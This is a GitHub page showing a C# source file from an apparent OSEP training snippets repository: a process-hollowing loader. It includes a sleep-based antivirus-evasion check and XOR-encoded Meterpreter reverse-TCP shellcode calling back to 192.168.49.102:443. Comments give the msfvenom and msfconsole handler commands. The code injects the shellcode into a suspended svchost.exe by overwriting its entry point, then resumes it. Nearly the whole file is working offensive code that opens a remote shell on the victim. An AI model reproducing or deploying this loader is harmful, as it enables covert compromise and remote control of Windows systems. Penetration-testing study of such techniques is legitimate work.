forked from thamyekh/OSEP-Code-Snippets
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathProgram.cs
executable file
·199 lines (176 loc) · 11.1 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
using System;
using System.Runtime.InteropServices;
namespace ProcessHollowing
{
public class Program
{
public const uint CREATE_SUSPENDED = 0x4;
public const int PROCESSBASICINFORMATION = 0;
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct ProcessInfo
{
public IntPtr hProcess;
public IntPtr hThread;
public Int32 ProcessId;
public Int32 ThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
public struct StartupInfo
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct ProcessBasicInfo
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
[In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);
[DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,
ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,
int dwSize, out IntPtr lpNumberOfbytesRW);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
public static void Main(string[] args)
{
// AV evasion: Sleep for 10s and detect if time really passed
DateTime t1 = DateTime.Now;
Sleep(10000);
double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;
if (deltaT < 9.5)
{
return;
}
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.102 LPORT=443 EXITFUNC=thread -f ps1
// XORed with xor_shellcode.py key 0xfa
// sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.49.102; set lport 443; exploit"
byte[] buf = new byte[511] {
0x06,0xb2,0x79,0x1e,0x0a,0x12,0x36,0xfa,0xfa,0xfa,0xbb,0xab,
0xbb,0xaa,0xa8,0xab,0xac,0xb2,0xcb,0x28,0x9f,0xb2,0x71,0xa8,
0x9a,0xb2,0x71,0xa8,0xe2,0xb2,0x71,0xa8,0xda,0xb2,0x71,0x88,
0xaa,0xb2,0xf5,0x4d,0xb0,0xb0,0xb7,0xcb,0x33,0xb2,0xcb,0x3a,
0x56,0xc6,0x9b,0x86,0xf8,0xd6,0xda,0xbb,0x3b,0x33,0xf7,0xbb,
0xfb,0x3b,0x18,0x17,0xa8,0xbb,0xab,0xb2,0x71,0xa8,0xda,0x71,
0xb8,0xc6,0xb2,0xfb,0x2a,0x9c,0x7b,0x82,0xe2,0xf1,0xf8,0xf5,
0x7f,0x88,0xfa,0xfa,0xfa,0x71,0x7a,0x72,0xfa,0xfa,0xfa,0xb2,
0x7f,0x3a,0x8e,0x9d,0xb2,0xfb,0x2a,0xbe,0x71,0xba,0xda,0xaa,
0x71,0xb2,0xe2,0xb3,0xfb,0x2a,0x19,0xac,0xb2,0x05,0x33,0xbb,
0x71,0xce,0x72,0xb2,0xfb,0x2c,0xb7,0xcb,0x33,0xb2,0xcb,0x3a,
0x56,0xbb,0x3b,0x33,0xf7,0xbb,0xfb,0x3b,0xc2,0x1a,0x8f,0x0b,
0xb6,0xf9,0xb6,0xde,0xf2,0xbf,0xc3,0x2b,0x8f,0x22,0xa2,0xbe,
0x71,0xba,0xde,0xb3,0xfb,0x2a,0x9c,0xbb,0x71,0xf6,0xb2,0xbe,
0x71,0xba,0xe6,0xb3,0xfb,0x2a,0xbb,0x71,0xfe,0x72,0xb2,0xfb,
0x2a,0xbb,0xa2,0xbb,0xa2,0xa4,0xa3,0xa0,0xbb,0xa2,0xbb,0xa3,
0xbb,0xa0,0xb2,0x79,0x16,0xda,0xbb,0xa8,0x05,0x1a,0xa2,0xbb,
0xa3,0xa0,0xb2,0x71,0xe8,0x13,0xb1,0x05,0x05,0x05,0xa7,0xb3,
0x44,0x8d,0x89,0xc8,0xa5,0xc9,0xc8,0xfa,0xfa,0xbb,0xac,0xb3,
0x73,0x1c,0xb2,0x7b,0x16,0x5a,0xfb,0xfa,0xfa,0xb3,0x73,0x1f,
0xb3,0x46,0xf8,0xfa,0xfb,0x41,0x3a,0x52,0xcb,0x9c,0xbb,0xae,
0xb3,0x73,0x1e,0xb6,0x73,0x0b,0xbb,0x40,0xb6,0x8d,0xdc,0xfd,
0x05,0x2f,0xb6,0x73,0x10,0x92,0xfb,0xfb,0xfa,0xfa,0xa3,0xbb,
0x40,0xd3,0x7a,0x91,0xfa,0x05,0x2f,0x90,0xf0,0xbb,0xa4,0xaa,
0xaa,0xb7,0xcb,0x33,0xb7,0xcb,0x3a,0xb2,0x05,0x3a,0xb2,0x73,
0x38,0xb2,0x05,0x3a,0xb2,0x73,0x3b,0xbb,0x40,0x10,0xf5,0x25,
0x1a,0x05,0x2f,0xb2,0x73,0x3d,0x90,0xea,0xbb,0xa2,0xb6,0x73,
0x18,0xb2,0x73,0x03,0xbb,0x40,0x63,0x5f,0x8e,0x9b,0x05,0x2f,
0x7f,0x3a,0x8e,0xf0,0xb3,0x05,0x34,0x8f,0x1f,0x12,0x69,0xfa,
0xfa,0xfa,0xb2,0x79,0x16,0xea,0xb2,0x73,0x18,0xb7,0xcb,0x33,
0x90,0xfe,0xbb,0xa2,0xb2,0x73,0x03,0xbb,0x40,0xf8,0x23,0x32,
0xa5,0x05,0x2f,0x79,0x02,0xfa,0x84,0xaf,0xb2,0x79,0x3e,0xda,
0xa4,0x73,0x0c,0x90,0xba,0xbb,0xa3,0x92,0xfa,0xea,0xfa,0xfa,
0xbb,0xa2,0xb2,0x73,0x08,0xb2,0xcb,0x33,0xbb,0x40,0xa2,0x5e,
0xa9,0x1f,0x05,0x2f,0xb2,0x73,0x39,0xb3,0x73,0x3d,0xb7,0xcb,
0x33,0xb3,0x73,0x0a,0xb2,0x73,0x20,0xb2,0x73,0x03,0xbb,0x40,
0xf8,0x23,0x32,0xa5,0x05,0x2f,0x79,0x02,0xfa,0x87,0xd2,0xa2,
0xbb,0xad,0xa3,0x92,0xfa,0xba,0xfa,0xfa,0xbb,0xa2,0x90,0xfa,
0xa0,0xbb,0x40,0xf1,0xd5,0xf5,0xca,0x05,0x2f,0xad,0xa3,0xbb,
0x40,0x8f,0x94,0xb7,0x9b,0x05,0x2f,0xb3,0x05,0x34,0x13,0xc6,
0x05,0x05,0x05,0xb2,0xfb,0x39,0xb2,0xd3,0x3c,0xb2,0x7f,0x0c,
0x8f,0x4e,0xbb,0x05,0x1d,0xa2,0x90,0xfa,0xa3,0x41,0x1a,0xe7,
0xd0,0xf0,0xbb,0x73,0x20,0x05,0x2f};
// Start 'svchost.exe' in a suspended state
StartupInfo sInfo = new StartupInfo();
ProcessInfo pInfo = new ProcessInfo();
bool cResult = CreateProcess(null, "c:\\windows\\system32\\svchost.exe", IntPtr.Zero, IntPtr.Zero,
false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);
Console.WriteLine($"Started 'svchost.exe' in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.");
// Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)
ProcessBasicInfo pbInfo = new ProcessBasicInfo();
uint retLen = new uint();
long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);
IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);
Console.WriteLine($"Got process information and located PEB address of process at {"0x" + baseImageAddr.ToString("x")}. Success: {qResult == 0}.");
// Get entry point of the actual process executable
// This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))
// From the PEB (address we got in last call), we have to do the following:
// 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
// 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
// 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
// 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
// 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
// 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing
byte[] procAddr = new byte[0x8];
byte[] dataBuf = new byte[0x200];
IntPtr bytesRW = new IntPtr();
bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);
IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);
result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);
Console.WriteLine($"DEBUG: Executable base address: {"0x" + executableAddress.ToString("x")}.");
// 2. Read the field 'e_lfanew', 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header
uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);
Console.WriteLine($"DEBUG: e_lfanew offset: {"0x" + e_lfanew.ToString("x")}.");
// 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset
uint rvaOffset = e_lfanew + 0x28;
Console.WriteLine($"DEBUG: RVA offset: {"0x" + rvaOffset.ToString("x")}.");
// 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address
uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);
Console.WriteLine($"DEBUG: RVA value: {"0x" + rva.ToString("x")}.");
// 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!
IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);
Console.WriteLine($"Got executable entrypoint address: {"0x" + entrypointAddr.ToString("x")}.");
// Carrying on, decode the XOR payload
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
Console.WriteLine("XOR-decoded payload.");
// Overwrite the memory at the identified address to 'hijack' the entrypoint of the executable
result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);
Console.WriteLine($"Overwrote entrypoint with payload. Success: {result}.");
// Resume the thread to trigger our payload
uint rResult = ResumeThread(pInfo.hThread);
Console.WriteLine($"Triggered payload. Success: {rResult == 1}. Check your listener!");
}
}
}